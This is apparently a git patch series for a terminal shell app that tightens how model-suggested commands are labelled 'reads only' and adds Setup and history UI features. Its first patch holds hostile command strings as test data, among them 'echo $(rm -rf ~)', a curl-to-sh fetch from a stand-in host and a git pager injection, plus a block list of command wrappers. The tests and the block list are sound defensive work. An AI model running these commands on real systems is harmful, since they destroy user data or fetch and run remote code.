<315733358+raiseCatError@users.noreply.github.com> Date: Mon, 19 Oct 2026 01:44:12 +0530 Subject: [PATCH 063/157] Ask suggestions: 'reads only' needs every part plainly read-only; NMSh's verdict first A security review found that echo $(rm -rf ~) was labelled 'reads only'. The read verdict now also requires no substitution, no wrapper command, no find action and nothing the /track repeat gate questions. The note states NMSh's check first and quotes the model's words, attributed; an explanation that names NMSh is rejected. --- src/ask/commandSuggestions.ts | 27 ++++++++++++++++++++------ src/understanding/tasks.ts | 3 ++- tests/askCommandSuggestions.test.ts | 24 ++++++++++++++++++++--- tests/askCommandSuggestionsApp.test.ts | 2 +- 4 files changed, 45 insertions(+), 11 deletions(-) diff --git a/src/ask/commandSuggestions.ts b/src/ask/commandSuggestions.ts index 1bb18f30..70e511eb 100644 --- a/src/ask/commandSuggestions.ts +++ b/src/ask/commandSuggestions.ts @@ -1,4 +1,5 @@ -import {analyzePaste} from '../input/pasteGuard.js'; +import {analyzePaste, commandWords} from '../input/pasteGuard.js'; +import {repeatRisk} from '../tasks/repeatSafety.js'; import type {CommandSuggestion} from '../understanding/tasks.js'; import type {ActionRisk, CommandBlock} from './types.js'; @@ -6,25 +7,39 @@ import type {ActionRisk, CommandBlock} from './types.js'; * What NMSh itself says about a suggested command (#432), from the classifier paste review uses. The model's own * wording never sets it: a command that deletes, needs administrator rights, signals processes or pipes into an * interpreter is destructive; installs are installs; anything that writes, reaches the network, runs project scripts - * or is unknown changes things; only reading and moving between directories read. + * or is unknown changes things. "Reads only" is the one verdict a person may relax for, so it needs every part to be + * plainly read-only: no substitution (`$(…)`, backticks, `<(…)`), no wrapper that runs another command (env, xargs, + * nice…), no find action, and nothing the stricter /track gate (repeatRisk) would question, such as `git -c` or an + * option that writes a file. Otherwise it changes things. */ export function suggestionRisk(command: string): ActionRisk { - const kinds = analyzePaste(command).commands.flatMap(item => item.kinds); + const parts = analyzePaste(command).commands; + const kinds = parts.flatMap(item => item.kinds); if (kinds.some(kind => kind === 'destructive' || kind === 'privilege' || kind === 'pipeline')) return 'destructive'; if (kinds.includes('install')) return 'install'; - if (kinds.length && kinds.every(kind => kind === 'navigation')) return 'navigate'; - if (kinds.length && kinds.every(kind => kind === 'read' || kind === 'navigation')) return 'read'; + const plain = parts.length > 0 && !SUBSTITUTION.test(command) + && parts.every(item => !WRAPPERS.has(firstWord(item.text)) && !FIND_ACTION.test(item.text) && !repeatRisk(item.text, item.kinds)); + if (plain && kinds.every(kind => kind === 'navigation')) return 'navigate'; + if (plain && kinds.every(kind => kind === 'read' || kind === 'navigation')) return 'read'; return 'mutate'; } +const SUBSTITUTION = /\$\(|`|<\(|>\(/u; +/** Commands whose job is to run another command. */ +const WRAPPERS = new Set(['env', 'xargs', 'nice', 'nohup', 'timeout', 'command', 'exec', 'builtin', 'eval', 'time', 'watch', 'stdbuf', 'unbuffer', 'parallel', 'script', 'caffeinate', 'flock', 'chroot', 'su']); +/** find options that run a command or delete what they find. */ +const FIND_ACTION = /(?:^|\s)-(?:exec|execdir|ok|okdir|delete|fprint|fprintf|fls)\b/u; +const firstWord = (text: string) => (commandWords(text).find(word => !/^[A-Za-z_]\w*=/u.test(word)) ?? '').split('/').pop() ?? ''; + /** * A suggestion as an Ask command block: shown verbatim (`literal`), so Ask offers Copy and Insert only, never Run; * Insert puts it in the composer unsent and only the person's Enter runs it. The note says where it came from. */ export function suggestionBlock(suggestion: CommandSuggestion, modelLabel: string): CommandBlock { const risk = suggestionRisk(suggestion.command); + // NMSh's verdict first; the model's own words after it, quoted and attributed, so they cannot pose as NMSh's. return {argv: [], literal: suggestion.command, provenance: 'suggested', risk, - note: `${suggestion.explanation} · NMSh's check: ${RISK_WORDS[risk]} · Suggested by your local model (${modelLabel}); check it before you run it.`}; + note: `NMSh's check: ${RISK_WORDS[risk]}. Your local model (${modelLabel}) says: “${suggestion.explanation}” Check it before you run it.`}; } const RISK_WORDS: Record<ActionRisk, string> = {informational: 'shows information', read: 'reads only', navigate: 'changes directory', diff --git a/src/understanding/tasks.ts b/src/understanding/tasks.ts index 47cf2005..6835e7dc 100644 --- a/src/understanding/tasks.ts +++ b/src/understanding/tasks.ts @@ -154,7 +154,8 @@ export function validateCommandSuggestion(raw: unknown): CommandSuggestion | nul if (!raw || typeof raw !== 'object' || Array.isArray(raw)) return undefined; const value = raw as Record<string, unknown>; if (!exactKeys(value, ['command', 'explanation'], ['command', 'explanation'])) return undefined; - if (typeof value.explanation !== 'string' || value.explanation.length > MAX_EXPLANATION || UNSAFE_TEXT.test(value.explanation)) return undefined; + // The explanation is the model's own words; it never speaks for NMSh (NMSh's verdict is shown beside it). + if (typeof value.explanation !== 'string' || value.explanation.length > MAX_EXPLANATION || UNSAFE_TEXT.test(value.explanation) || /nmsh/iu.test(value.explanation)) return undefined; if (value.command === null) return null; if (typeof value.command !== 'string' || value.command.length > MAX_COMMAND || UNSAFE_TEXT.test(value.command)) return undefined; const command = value.command.trim(); diff --git a/tests/askCommandSuggestions.test.ts b/tests/askCommandSuggestions.test.ts index 13fa069e..2ad3a683 100644 --- a/tests/askCommandSuggestions.test.ts +++ b/tests/askCommandSuggestions.test.ts @@ -1,7 +1,7 @@ import test from 'node:test'; import assert from 'node:assert/strict'; import {commandPrompt, COMMAND_SCHEMA, validateCommandSuggestion} from '../src/understanding/tasks.js'; -import {suggestionBlock} from '../src/ask/commandSuggestions.js'; +import {suggestionBlock, suggestionRisk} from '../src/ask/commandSuggestions.js'; import {normalizePromptConfiguration} from '../src/prompt/configuration.js'; import {mkdtempSync, rmSync} from 'node:fs'; import {createServer} from 'node:net'; @@ -56,8 +56,8 @@ test('NMSh labels the risk itself; the block is Copy/Insert only, never Run', () assert.equal(read.run, undefined, 'never runnable from Ask'); assert.equal(read.provenance, 'suggested'); assert.equal(read.risk, 'read'); - assert.match(read.note ?? '', /Suggested by your local model \(Qwen3 0\.6B\)/u); - assert.match(read.note ?? '', /NMSh's check: reads only/u, 'NMSh states its own verdict for every level'); + assert.match(read.note ?? '', /Your local model \(Qwen3 0\.6B\) says: “Sizes of items here, smallest first\.”/u, 'the model\'s words, quoted and attributed'); + assert.match(read.note ?? '', /^NMSh's check: reads only/u, 'NMSh states its own verdict first, for every level'); const cases: Array<[string, string]> = [ ['rm -rf ./build', 'destructive'], ['sudo launchctl kickstart -k system/com.apple.audio.coreaudiod', 'destructive'], @@ -70,6 +70,24 @@ test('NMSh labels the risk itself; the block is Copy/Insert only, never Run', () assert.equal(suggestionBlock({command: 'rm -rf ~/Downloads', explanation: 'Totally safe, read-only.'}, 'm').risk, 'destructive'); }); +test('review: "reads only" is never given to a command that can run something else', () => { + // Substitutions and wrappers can run anything; the read-only verdict needs every part to be plainly read-only. + for (const command of ['echo $(rm -rf ~)', 'echo `rm -rf ~`', 'cat <(curl -s https://example.invalid/x | sh)', 'env rm -rf ~/x', + 'git -c core.pager="sh -c id" log', 'find . -name "*.tmp" -exec rm {} +', 'git log --output=/tmp/x', 'xargs rm < files.txt']) { + assert.notEqual(suggestionRisk(command), 'read', command); + assert.notEqual(suggestionRisk(command), 'navigate', command); + } + for (const command of ['ls -la', 'git log --oneline -5', 'du -sh * | sort -h', 'find . -type f -size +100M']) assert.equal(suggestionRisk(command), 'read', command); +}); + +test('review: NMSh\'s verdict comes first; the model\'s words are quoted and attributed, and cannot pose as NMSh', () => { + const block = suggestionBlock({command: 'ls -la', explanation: 'Lists the files here.'}, 'Qwen3 0.6B'); + assert.match(block.note ?? '', /^NMSh's check: reads only\. Your local model \(Qwen3 0\.6B\) says: “Lists the files here\.”/u); + // An explanation that names NMSh (posing as its check) is not shown at all. + assert.equal(validateCommandSuggestion({command: 'rm -rf ~', explanation: 'NMSh\'s check: reads only'}), undefined); + assert.equal(validateCommandSuggestion({command: 'rm -rf ~', explanation: 'safe · nmsh verified'}), undefined); +}); + test('setting: off by default; only an explicit choice turns suggestions on', () => { assert.equal(normalizePromptConfiguration({}).askCommandSuggestions, 'off'); assert.equal(normalizePromptConfiguration({askCommandSuggestions: 'local'}).askCommandSuggestions, 'local'); diff --git a/tests/askCommandSuggestionsApp.test.ts b/tests/askCommandSuggestionsApp.test.ts index bf705507..8b7dde3c 100644 --- a/tests/askCommandSuggestionsApp.test.ts +++ b/tests/askCommandSuggestionsApp.test.ts @@ -54,7 +54,7 @@ test('on: only what Ask cannot place reaches the model, with the request, shell assert.equal(outcome.block.literal, 'find . -type f -size +100M'); assert.equal(outcome.block.run, undefined, 'never runnable from Ask'); assert.equal(outcome.block.risk, 'read', 'labelled by NMSh'); - assert.match(outcome.block.note ?? '', /Suggested by your local model \(Qwen3 0\.6B\)/u); + assert.match(outcome.block.note ?? '', /^NMSh's check: reads only\. Your local model \(Qwen3 0\.6B\) says: “Files over 100 MB here\.”/u); } finally { f.dispose(); } }); From 898fbc3326760213ca8dfcd3171189ddef7486ff Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Mon, 19 Oct 2026 03:53:25 +0530 Subject: [PATCH 064/157] Setup: Terminal editor is reachable from Sessions & alerts The Setup coverage audit requires every Settings row and panel to be reachable from Setup. A route row next to Open with opens the editor chooser over Setup; the choice joins the draft on the way back. --- src/setup/SetupCat.ts | 4 ++- tests/terminalEditorApp.test.ts | 48 +++++++++++++++++++++++++++++++++ 2 files changed, 51 insertions(+), 1 deletion(-) diff --git a/src/setup/SetupCat.ts b/src/setup/SetupCat.ts index 6b876774..d72465b0 100644 --- a/src/setup/SetupCat.ts +++ b/src/setup/SetupCat.ts @@ -415,6 +415,7 @@ export const SETUP_SECTIONS: readonly SetupSection[] = [ : 'NMSh titles the window while it owns the screen; programs keep their own title while they run'}, {row: configRow('agentActivity')}, {row: configRow('openWith')}, + routeRow('setupTerminalEditor', 'Terminal editor', 'For /open and o in /view when VISUAL and EDITOR are not set: choose one installed here', 'editor', 'Sessions'), {row: configRow('notifications')}, {row: configRow('notifyAfter')}, {row: configRow('notifyOnSuccess')}, @@ -501,6 +502,7 @@ export const SETUP_EQUIVALENTS: Readonly<Record<string, string>> = { provider: 'setupPromptProvider', welcome: 'setupWelcome', suggestions: 'setupSuggestions', history: 'setupHistory', navigation: 'setupNavigation', picker: 'setupPicker', cursorSpeed: 'cursorAdvanced', cursorIntensity: 'cursorAdvanced', cursorTrail: 'cursorAdvanced', cursorParticles: 'cursorAdvanced', tools: 'setupToolChoice', themeStudio: 'setupThemeStudio', onboardingBackdrop: 'setupPresets', themeBridge: 'setupThemeBridge', uiChromeColors: 'setupChromeColors', idleCustomColors: 'setupIdleColors', activityCustomColors: 'setupActivityColors', + terminalEditor: 'setupTerminalEditor', }; /** Where each Settings entry point (a full panel) is reached from Setup: a section, or the route row that opens it. */ @@ -508,7 +510,7 @@ export const SETUP_ENTRY_COVERAGE: Readonly<Record<string, string>> = { appearance: 'setupHostWindow', glyph: 'glyphStyle', prompt: 'setupPromptModules', transcript: 'transcriptPresentation', syntax: 'syntaxHighlighting', keyboard: 'setupKeyboard', welcome: 'setupWelcome', suggestions: 'setupSuggestions', history: 'setupHistory', picker: 'setupPicker', navigation: 'setupNavigation', layout: 'composerPosition', toolConfig: 'setupToolConfig', tools: 'setupBrowseTools', screensaver: 'idleTimeout', setup: 'setupToolChoice', cursor: 'cursorAdvanced', themeStudio: 'setupThemeStudio', themeBridge: 'setupThemeBridge', chromeColors: 'setupChromeColors', idleColors: 'setupIdleColors', activityColors: 'setupActivityColors', resetInstallSuggestions: 'resetInstallSuggestions', - queue: 'queueTimeline', setupQuick: 'setupPresets', + queue: 'queueTimeline', setupQuick: 'setupPresets', editor: 'setupTerminalEditor', }; function completionFacts(facts: CompletionFacts | undefined): string[] { diff --git a/tests/terminalEditorApp.test.ts b/tests/terminalEditorApp.test.ts index c3b4b469..e27de1aa 100644 --- a/tests/terminalEditorApp.test.ts +++ b/tests/terminalEditorApp.test.ts @@ -6,6 +6,9 @@ import {join} from 'node:path'; import {clearProviderDetection} from '../src/providers/providers.js'; import {stripAnsi} from '../src/util/text.js'; import {executionFrameFixture} from './support/executionTimelineFrames.js'; +import {isolateConfig} from './support/isolatedConfig.js'; +import {TerminalApp} from '../src/app/TerminalApp.js'; +import {SETUP_SECTIONS, sectionIndex, setupKey, setupSelectedRow} from '../src/setup/SetupCat.js'; /** * #366 (D3) through the real TerminalApp: Settings → Terminal editor lists the curated editors with what is installed @@ -70,3 +73,48 @@ test('Terminal editor: choose an installed editor, refuse a missing one; /open c rmSync(bin, {recursive: true, force: true}); } }); + +test('Setup → Sessions → Terminal editor opens the chooser over Setup and comes back to the same step with the choice', async () => { + const saved = {PATH: process.env.PATH, VISUAL: process.env.VISUAL, EDITOR: process.env.EDITOR, ZED_TERM: process.env.ZED_TERM}; + const bin = realpathSync(mkdtempSync(join(tmpdir(), 'nmsh-editors-'))); + const isolation = isolateConfig(); + const app = new TerminalApp(); + try { + writeFileSync(join(bin, 'hx'), '#!/bin/sh\nexit 0\n'); chmodSync(join(bin, 'hx'), 0o755); + process.env.PATH = bin; + delete process.env.VISUAL; delete process.env.EDITOR; delete process.env.ZED_TERM; + clearProviderDetection(); + app['render'] = () => {}; + app['startSetup']('sessions'); + const state = app['setupState']!; + const goTo = (row: string) => { + state.section = sectionIndex('sessions'); state.row = 0; + for (let guard = 0; guard < 80 && setupSelectedRow(state)?.row.id !== row; guard += 1) setupKey(state, {kind: 'down'}); + assert.equal(setupSelectedRow(state)?.row.id, row); + }; + // An unapplied edit elsewhere in the step waits in the draft. + goTo('terminalTitle'); + app['handleKey']({kind: 'right'}); + const pending = state.draft.terminalTitle; + assert.notEqual(pending, state.saved.terminalTitle); + goTo('setupTerminalEditor'); + const row = state.row; + app['handleKey']({kind: 'enter'}); + const panel = app['providerPanelState']; + assert.equal(panel?.family, 'editor', 'the real chooser opens over Setup'); + assert.equal(app['setupState'], undefined); + await settled(() => Object.keys(panel!.statuses).length === panel!.providers.length, 'detection'); + panel!.selectedIndex = panel!.providers.findIndex(provider => provider.id === 'hx'); + await app['handleProviderPanelKey']({kind: 'enter'}, panel!); + assert.equal(app['setupState'], state, 'back in the same Setup'); + assert.equal(SETUP_SECTIONS[state.section]!.id, 'sessions'); + assert.equal(state.row, row, 'on the same row'); + assert.equal(state.draft.terminalEditor, 'hx', 'the choice joins the draft'); + assert.equal(state.draft.terminalTitle, pending, 'the other unapplied edit survives'); + } finally { + app['stop'](0); app['session'].kill(); isolation.restore(); + for (const [key, value] of Object.entries(saved)) { if (value === undefined) delete process.env[key]; else process.env[key] = value; } + clearProviderDetection(); + rmSync(bin, {recursive: true, force: true}); + } +}); From c1a300171c714ff261c9a19ef7eaf88a24a91a32 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Mon, 19 Oct 2026 03:57:18 +0530 Subject: [PATCH 065/157] Setup: Command suggestions is reachable from Ask & local understanding The Setup coverage audit requires every Settings row in a Setup section. The same row, Off until chosen, with a note on what each choice does. --- src/setup/SetupCat.ts | 3 +++ tests/askCommandSuggestions.test.ts | 12 ++++++++++++ 2 files changed, 15 insertions(+) diff --git a/src/setup/SetupCat.ts b/src/setup/SetupCat.ts index 6b876774..52e1f8a0 100644 --- a/src/setup/SetupCat.ts +++ b/src/setup/SetupCat.ts @@ -431,6 +431,9 @@ export const SETUP_SECTIONS: readonly SetupSection[] = [ {row: configRow('localUnderstanding'), note: draft => localUnderstandingNote(draft)}, {row: configRow('localUnderstandingAsk'), note: () => 'Improve Ask understanding'}, {row: configRow('localUnderstandingFolding'), note: () => 'Improve Smart Folding'}, + {row: configRow('askCommandSuggestions'), note: draft => draft.askCommandSuggestions === 'local' + ? 'Local model: a request Ask cannot place may get one suggested command, labelled by NMSh, to copy or insert. It never runs' + : 'Off: Ask answers on its own; nothing is sent to a model for commands'}, ]}, {id: 'welcomeScreen', title: 'Welcome', intro: ['What a new session shows first. Vespyr is the NMSh cat.'], rows: [ providerRow('setupWelcome', 'Welcome', 'New-session welcome', 'Welcome', WELCOME_PROVIDERS.filter(provider => WELCOME_PROVIDER_IDS.includes(provider.id)), diff --git a/tests/askCommandSuggestions.test.ts b/tests/askCommandSuggestions.test.ts index 2ad3a683..c8392fba 100644 --- a/tests/askCommandSuggestions.test.ts +++ b/tests/askCommandSuggestions.test.ts @@ -3,6 +3,7 @@ import assert from 'node:assert/strict'; import {commandPrompt, COMMAND_SCHEMA, validateCommandSuggestion} from '../src/understanding/tasks.js'; import {suggestionBlock, suggestionRisk} from '../src/ask/commandSuggestions.js'; import {normalizePromptConfiguration} from '../src/prompt/configuration.js'; +import {createSetup, sectionIndex, setupKey, setupSelectedRow} from '../src/setup/SetupCat.js'; import {mkdtempSync, rmSync} from 'node:fs'; import {createServer} from 'node:net'; import {tmpdir} from 'node:os'; @@ -94,6 +95,17 @@ test('setting: off by default; only an explicit choice turns suggestions on', () assert.equal(normalizePromptConfiguration({askCommandSuggestions: 'anthropic'}).askCommandSuggestions, 'off', 'remote providers are not part of this slice'); }); +test('Setup → Ask & local understanding has the same row, Off until chosen, and the choice stays in the draft', () => { + const state = createSetup(normalizePromptConfiguration({}), 'ask'); + state.section = sectionIndex('ask'); state.row = 0; + for (let guard = 0; guard < 20 && setupSelectedRow(state)?.row.id !== 'askCommandSuggestions'; guard += 1) setupKey(state, {kind: 'down'}); + assert.equal(setupSelectedRow(state)?.row.id, 'askCommandSuggestions'); + assert.equal(state.draft.askCommandSuggestions, 'off'); + setupKey(state, {kind: 'right'}); + assert.equal(state.draft.askCommandSuggestions, 'local'); + assert.equal(state.saved.askCommandSuggestions, 'off', 'nothing is applied until Setup applies'); +}); + // ------------------------------------------------------------------ the shared local model service const MODEL: LocalModelChoice = {label: 'Qwen3 0.6B', runtime: 'llama.cpp', path: '/m/qwen3.gguf', owned: true}; From 48f70e96cf09a7a54688d10cf4fd6ce8d8e95f4e Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Mon, 19 Oct 2026 04:14:00 +0530 Subject: [PATCH 066/157] Composer history: show History n/N on a free composer rule while browsing While Up/Down browse an unchanged recalled entry, its position sits on the bottom composer rule (or the top one when that is the free one), in the subtle chrome role. It yields to Keep Awake and a header prompt, never adds a row, and is not shown when no rule has room. --- CHANGELOG.md | 1 + src/app/TerminalApp.ts | 20 +++++- src/input/ComposerHistory.ts | 9 +++ tests/historyPosition.test.ts | 123 ++++++++++++++++++++++++++++++++++ 4 files changed, 152 insertions(+), 1 deletion(-) create mode 100644 tests/historyPosition.test.ts diff --git a/CHANGELOG.md b/CHANGELOG.md index e7e06981..63131508 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -22,6 +22,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/). ### Changed - **Up and Down step through history one command at a time, however many lines a command has** ([#389](https://github.com/raiseCatError/notMyShell/issues/389)). Once Up has recalled a command, each Up or Down moves to the next older or newer command, even when the recalled one spans several lines or wraps; before, a recalled five-line command took five extra presses to pass. Typing, pasting, deleting, moving the caret or selecting in a recalled command makes it a draft again, where Up and Down move between its lines as before, and Down past the newest command restores exactly what you had typed. Editing a fresh multi-line draft is unchanged. + - While you step through history, the bottom composer rule shows where you are: `History 2/120`, counted back from the newest command. It sits on a rule that is already there (the top one when the bottom one is not free), in the same subtle color as other text on those rules, and never covers Keep Awake or the prompt. It never adds a row or moves anything; with no free rule, or no room on it, it is not shown. ### Fixed diff --git a/src/app/TerminalApp.ts b/src/app/TerminalApp.ts index ebc45cc2..59c3a91a 100644 --- a/src/app/TerminalApp.ts +++ b/src/app/TerminalApp.ts @@ -769,10 +769,28 @@ export class TerminalApp { private edgeAccessory(kind: 'composerBorder' | 'separator', plan: ScreenPlan, now = Date.now()): {ansi: string; width: number} | undefined { const view = this.awakeViewNow(now); - if (!view || plan.awake?.slot !== (kind === 'composerBorder' ? 'topEdge' : 'bottomEdge')) return undefined; + if (!view || plan.awake?.slot !== (kind === 'composerBorder' ? 'topEdge' : 'bottomEdge')) return this.historyEdge(kind, plan); return plan.awake.expandedOnEdge && view.expanded ? view.expanded : view.compact; } + /** + * History n/N while Up/Down browse an unchanged recalled entry (#389): on the bottom composer edge, or the top one + * when that is the free one, never over Keep Awake or a header prompt. It never gets a row of its own, so with no + * free edge (or no room on it; renderComposerEdge checks the width) it is simply not shown. + */ + private historyEdge(kind: 'composerBorder' | 'separator', plan: ScreenPlan): {ansi: string; width: number} | undefined { + if (!this.historyBrowsing || plan.panelActive) return undefined; + const at = this.composerHistory.position(this.editor.text); + if (!at) return undefined; + const edges = composerEdgeStates(plan, this.promptConfiguration.placement); + const awake = plan.awake?.slot; + const free = edges.bottomEdge === 'available' && awake !== 'bottomEdge' ? 'separator' + : edges.topEdge === 'available' && awake !== 'topEdge' ? 'composerBorder' : undefined; + if (free !== kind) return undefined; + const text = `History ${at.position}/${at.total}`; + return {ansi: `${SUBTLE}${text}${RESET}`, width: displayWidth(text)}; + } + private handleKeepAwakeSlash(command: string, slash: Extract<ParsedSlashCommand, {kind: 'keepAwake'}>): void { const controller = this.keepAwake(); if (slash.op === 'panel') { diff --git a/src/input/ComposerHistory.ts b/src/input/ComposerHistory.ts index 17b8616d..5421e58e 100644 --- a/src/input/ComposerHistory.ts +++ b/src/input/ComposerHistory.ts @@ -28,6 +28,15 @@ export class ComposerHistory { return this.active && this.shown === text; } + /** + * Where the composer is in this browse (#389): 1-based, newest first, out of the snapshot taken when browsing + * started (distinct, eligible entries, the draft excluded). Only counts; never the text. Undefined unless `text` + * is still the shown entry. + */ + position(text: string): {position: number; total: number} | undefined { + return this.showing(text) ? {position: this.index + 1, total: this.entries.length} : undefined; + } + /** * One step older. `source` is read only when navigation starts. Returns the * text to show, or undefined at the oldest entry (no wrap). diff --git a/tests/historyPosition.test.ts b/tests/historyPosition.test.ts new file mode 100644 index 00000000..a4531461 --- /dev/null +++ b/tests/historyPosition.test.ts @@ -0,0 +1,123 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {isolateConfig} from './support/isolatedConfig.js'; +import {TerminalApp} from '../src/app/TerminalApp.js'; +import {regionOf, type ScreenPlan} from '../src/app/screenPlan.js'; +import {displayWidth, stripAnsi} from '../src/util/text.js'; +import {awakeStyle, DEFAULT_KEEP_AWAKE_PRESENTATION} from '../src/keepAwake/presentation.js'; +import type {KeepAwakeRecord} from '../src/keepAwake/keepAwake.js'; +import type {PromptConfiguration} from '../src/prompt/configuration.js'; +import {historyId, type HistoryEntry} from '../src/shell/HistoryIndex.js'; + +/** + * #389, the History n/N slice (decision D1): while Up/Down browse an unchanged recalled entry, its position shows on a + * composer edge that is free. It never adds a row, never moves the prompt, input or caret, never covers Keep Awake, + * and is simply absent when no edge has room. + */ + +const UP = '\u001B[A'; +const DOWN = '\u001B[B'; +const LEFT = '\u001B[D'; +const RECORD: KeepAwakeRecord = {version: 1, token: 'a'.repeat(32), backend: 'macos-caffeinate', mode: 'display', pid: 1, + startedAt: Date.now() - 47 * 60_000, command: '/usr/bin/caffeinate', args: ['-d', '-i']}; + +interface Scene { + keys?: string[]; + config?: Partial<PromptConfiguration>; + awake?: boolean; + columns?: number; +} + +interface Frame { rows: string[]; plain: string[]; plan: ScreenPlan; cursorRow: number; cursorColumn: number } + +function frame(scene: Scene = {}): Frame { + const app = new TerminalApp() as any; + const columns = scene.columns ?? 80; + try { + Object.defineProperty(app, 'dimensions', {value: () => ({columns, rows: 20})}); + Object.defineProperty(app, 'fetchSuggestions', {value: async () => {}}); + app.session.write = () => { throw new Error('browsing history never writes to the shell'); }; + app.output.beginCommand('ls', ['❯ ls']); + app.output.write('alpha\nbeta\n'); + app.output.complete(0); + app.promptConfiguration = {...app.promptConfiguration, ...scene.config, keepAwake: {...DEFAULT_KEEP_AWAKE_PRESENTATION}}; + app.awakeRecord = scene.awake ? RECORD : undefined; + app.lastUserInput = Date.now(); + // Newest last: 'clear' is the most recent command. + ['npm test', 'git status', 'clear'].forEach((command, index) => app.historyService.index.add( + {id: historyId('nmsh', `test:${index}`), source: 'nmsh', command, at: 1000 + index} satisfies HistoryEntry)); + const frames: Array<{rows: string[]; cursorRow: number; cursorColumn: number}> = []; + app.renderer.render = (next: {rows: string[]; cursorRow: number; cursorColumn: number}) => { frames.push(next); }; + for (const key of scene.keys ?? []) app.onInput(key); + app.render(); + const last = frames.at(-1)!; + return {rows: last.rows, plain: last.rows.map(stripAnsi), plan: app.presentationFrame.plan, cursorRow: last.cursorRow, cursorColumn: last.cursorColumn}; + } finally { + app.stop(0); + app.session.kill(); + } +} + +const rowOf = (f: Frame, kind: Parameters<typeof regionOf>[1]) => { const region = regionOf(f.plan, kind); return region ? f.plain[region.top]! : undefined; }; +const layout = (f: Frame) => f.plan.regions.map(region => `${region.kind}@${region.top}+${region.height}`); +const shows = (f: Frame) => f.plain.some(row => /History \d+\/\d+/u.test(row)); + +let config: ReturnType<typeof isolateConfig>; +test.before(() => { config = isolateConfig(); }); +test.after(() => config.restore()); + +test('browsing: the position shows on a free composer edge; no row is added and nothing moves', () => { + const layouts: Array<Partial<PromptConfiguration>> = [{}, {composerLayout: 'oneLine'}, {composerLayout: 'twoLine', placement: 'composer'}]; + for (const config of layouts) { + const name = JSON.stringify(config); + const typed = frame({keys: [...'git status'], config}); + const browsing = frame({keys: [UP, UP], config}); + assert.equal(rowOf(browsing, 'input')?.includes('git status'), true, `${name}: the second-newest entry is recalled`); + assert.match(rowOf(browsing, 'separator')!, /─ History 2\/3 ──$/u, `${name}: counted back from the newest`); + assert.deepEqual(layout(browsing), layout(typed), `${name}: the same rows in the same places`); + for (const kind of ['composerBorder', 'prompt', 'input'] as const) assert.equal(rowOf(browsing, kind), rowOf(typed, kind), `${name} ${kind}`); + assert.deepEqual([browsing.cursorRow, browsing.cursorColumn], [typed.cursorRow, typed.cursorColumn], `${name}: the caret is where it would be`); + assert.equal(displayWidth(rowOf(browsing, 'separator')!), 80, `${name}: the edge keeps its width`); + // Contrast: the subtle chrome role Keep Awake's muted text uses, never a new color. + const raw = browsing.rows[regionOf(browsing.plan, 'separator')!.top]!; + assert.ok(raw.includes(`${awakeStyle.muted()}History 2/3`), `${name}: drawn in the subtle chrome role`); + } + assert.match(rowOf(frame({keys: [UP]}), 'separator')!, /History 1\/3/u, 'the newest is 1'); + assert.match(rowOf(frame({keys: [UP, UP, UP, UP]}), 'separator')!, /History 3\/3/u, 'the oldest stays N; no wrap'); +}); + +test('it leaves with browsing: an edit, a caret move, or Down past the newest; a typed draft never shows it', () => { + assert.equal(shows(frame()), false, 'an empty composer'); + assert.equal(shows(frame({keys: [...'git status']})), false, 'a typed draft that matches an entry is not browsing'); + assert.equal(shows(frame({keys: [UP, 'x']})), false, 'an edit makes it a draft again'); + assert.equal(shows(frame({keys: [UP, LEFT]})), false, 'a caret move makes it a draft again'); + assert.equal(shows(frame({keys: [UP, DOWN]})), false, 'Down past the newest restores the draft'); + assert.match(rowOf(frame({keys: [UP, UP, DOWN]}), 'separator')!, /History 1\/3/u, 'Down within history keeps it'); +}); + +test('Keep Awake keeps its edge; with no free edge the position is simply not shown', () => { + // Keep Awake on the top edge: the position takes the bottom one. + const both = frame({keys: [UP], awake: true, config: {composerLayout: 'oneLine'}}); + assert.equal(both.plan.awake?.slot, 'topEdge'); + assert.match(rowOf(both, 'composerBorder')!, /Awake · Display ──$/u, 'Keep Awake is untouched'); + assert.match(rowOf(both, 'separator')!, /History 1\/3 ──$/u); + // A header prompt owns the top edge and Keep Awake the bottom: nowhere free, so nothing, and nothing moves. + const header = {composerLayout: 'twoLine', placement: 'header'} as Partial<PromptConfiguration>; + const full = frame({keys: [UP], awake: true, config: header}); + assert.equal(full.plan.awake?.slot, 'bottomEdge'); + assert.equal(shows(full), false); + assert.deepEqual(layout(full), layout(frame({keys: [...'clear'], awake: true, config: header}))); + // The header prompt alone: the bottom edge is free. + assert.match(rowOf(frame({keys: [UP], config: header}), 'separator')!, /History 1\/3 ──$/u); + // Dividers Off: no edge exists; no row is added for it. + const off = frame({keys: [UP], config: {composerDividers: false}}); + assert.equal(shows(off), false); + assert.deepEqual(layout(off), layout(frame({keys: [...'clear'], config: {composerDividers: false}}))); +}); + +test('narrow: when the label does not fit, the edge stays a plain rule', () => { + const narrow = frame({keys: [UP], columns: 18}); + assert.equal(shows(narrow), false); + assert.equal(rowOf(narrow, 'separator'), rowOf(frame({keys: [...'clear'], columns: 18}), 'separator')); + narrow.plain.forEach((row, index) => assert.ok(displayWidth(row) <= 18, `row ${index} overflows: ${row}`)); +}); From 0240a485cdf344995b0f2e804eff90b4b1fddd08 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Mon, 19 Oct 2026 04:24:25 +0530 Subject: [PATCH 067/157] v0.22 docs: record D1-D3 decisions, PRs #437-#441, #436 findings and QA passes The ledger lists every slice and PR with its verification and open risks; the physical QA checklist gains the held-input states and passes for #437, #438/#441, #439 and #440; the NL design records the decisions and the first slice's scope. --- docs/design/v022-daily-use.md | 20 ++-- docs/design/v022-natural-language-commands.md | 42 +++---- docs/development/v022-ledger.md | 113 ++++++++++++------ docs/testing/v022-physical-qa.md | 71 ++++++++++- 4 files changed, 179 insertions(+), 67 deletions(-) diff --git a/docs/design/v022-daily-use.md b/docs/design/v022-daily-use.md index 14c0ca13..0a52ad3b 100644 --- a/docs/design/v022-daily-use.md +++ b/docs/design/v022-daily-use.md @@ -36,15 +36,15 @@ run unexpectedly. On that foundation it adds a small number of workflow improvem | Slice | Issue | Summary | State | | --- | --- | --- | --- | -| U1 | #366 | `/view` → open the file at the line on screen in the person's editor through the existing `/open` bridge; refusal messages offer the same | Planned | +| U1 | #366 